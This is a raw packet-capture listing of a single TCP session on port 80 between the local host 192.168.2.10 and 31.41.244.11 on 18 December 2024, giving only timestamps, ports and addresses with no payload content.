Dec 18, 2024 15:56:11.777479887 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.779284954 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.779350996 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.779386997 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.779565096 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.781357050 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.781445026 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.781524897 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.781594992 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.783354998 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.783405066 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.783487082 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.783572912 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.785957098 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.785964966 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.786030054 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.787370920 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.787398100 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.787445068 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.787472963 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.789504051 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.789573908 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.789612055 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.789655924 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.793956995 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.793963909 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.794022083 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.794029951 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.794051886 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.794085979 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.795523882 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.795592070 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.795643091 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.795743942 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.797576904 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.797631025 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.797719002 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.797769070 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.801645994 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.801654100 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.801728964 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.802129984 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.802140951 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.802195072 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.804028988 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.804079056 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.804519892 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.804595947 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.806202888 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.806210995 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.806269884 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.807868004 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.807899952 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.807934046 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.807950974 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.809957027 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.810045958 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.810070992 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.810123920 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.811865091 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.811927080 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.811937094 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.811991930 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.877212048 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.877321959 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.877512932 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.877569914 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.878209114 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.878220081 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.878267050 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.996841908 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.996913910 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.997735023 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.997773886 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.997798920 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.997819901 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:11.997838020 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:11.997864962 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.117830992 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.117847919 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.117855072 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.117861986 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.117949963 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.117997885 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.238235950 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.238250017 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.238265038 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.238276005 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.238284111 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.238291979 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.238302946 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.238320112 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.238347054 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.238353014 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.238359928 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.238359928 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.238365889 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.238373041 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.238379002 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.238394022 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.238401890 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.238409042 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.238409042 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.238430977 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.238459110 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.238647938 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.238655090 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.238666058 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.238672018 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.238677979 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.238689899 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.238694906 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.238702059 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.238707066 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.238708019 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.238734961 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.238755941 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.238795042 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.238802910 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.238815069 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.238821030 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.238836050 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.238858938 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.238886118 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.239592075 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.239599943 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.239612103 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.239618063 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.239624023 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.239638090 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.239643097 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.239650011 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.239650011 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.239656925 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.239665985 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.239666939 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.239671946 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.239680052 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.239701033 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.239718914 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.240420103 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.240426064 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.240437984 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.240443945 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.240451097 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.240463018 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.240473032 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.240478992 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.240479946 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.240485907 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.240492105 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.240506887 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.240513086 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.240514994 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.240518093 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.240526915 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.240535021 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.240536928 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.240581036 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.240597963 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.241286039 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.241292000 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.241303921 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.241308928 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.241316080 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.241322041 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.241328001 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.241339922 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.241344929 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.241353989 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.241378069 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.241525888 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.241532087 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.241543055 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.241549015 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.241556883 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.241588116 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.241607904 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.242312908 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.242321014 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.242326975 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.242336988 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.242342949 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.242347956 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.242353916 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.242362022 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.242362976 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.242367983 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.242374897 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.242381096 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.242383003 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.242387056 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.242393970 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.242400885 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.242405891 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.242407084 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.242449999 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.242470980 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.243161917 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.243169069 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.243180990 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.243186951 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.243192911 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.243205070 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.243221045 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.243241072 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.243258953 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.243693113 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.243699074 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.243710041 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.243716002 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.243751049 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.243772030 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.245609999 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.245618105 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.245629072 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.245640993 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.245644093 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.245650053 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.245652914 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.245680094 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.245709896 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.246577024 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.246582985 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.246594906 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.246601105 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.246607065 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.246614933 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.246642113 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.246659040 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.246802092 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.246808052 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.246860027 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.246870995 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.246877909 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.246891022 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.246898890 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.246922970 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.246937037 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.247006893 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.247014046 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.247028112 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.247034073 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.247041941 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.247049093 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.247057915 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.247060061 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.247065067 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.247086048 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.247104883 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.247808933 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.247817039 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.247828960 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.247833967 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.247839928 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.247864008 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.247869968 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.247875929 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.247889042 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.247895002 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.247900963 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.247908115 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.247910023 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.247931004 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.247952938 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.247958899 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.247966051 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.247977018 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.248008966 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.248754978 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.248761892 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.248814106 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.248883963 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.248891115 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.248915911 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.248922110 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.248931885 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.248934031 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.248939991 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.248946905 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.248954058 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.248963118 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.248966932 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.248980999 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.249008894 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.249763012 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.249769926 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.249780893 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.249787092 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.249794960 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.249816895 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.249830008 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.249850988 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.249886036 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.250106096 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.250113010 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.250119925 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.250130892 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.250137091 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.250149965 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.250163078 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.250219107 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.250261068 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.250268936 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.250288010 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.250296116 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.250302076 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.250308990 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.250328064 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.250335932 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.250349998 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.250359058 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.250359058 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.250365019 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.250392914 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.250425100 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.251233101 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.251251936 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.251264095 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.251270056 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.251276970 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.251288891 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.251296997 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.251303911 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.251308918 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.251322031 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.251324892 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.251332998 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.251338959 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.251358986 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.251360893 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.251375914 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.251399040 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:12.252100945 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.252110004 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.252121925 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.252129078 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.252140045 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.252146006 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:12.252151966 CET	80	49749	31.41.244.11	192.168.2.10
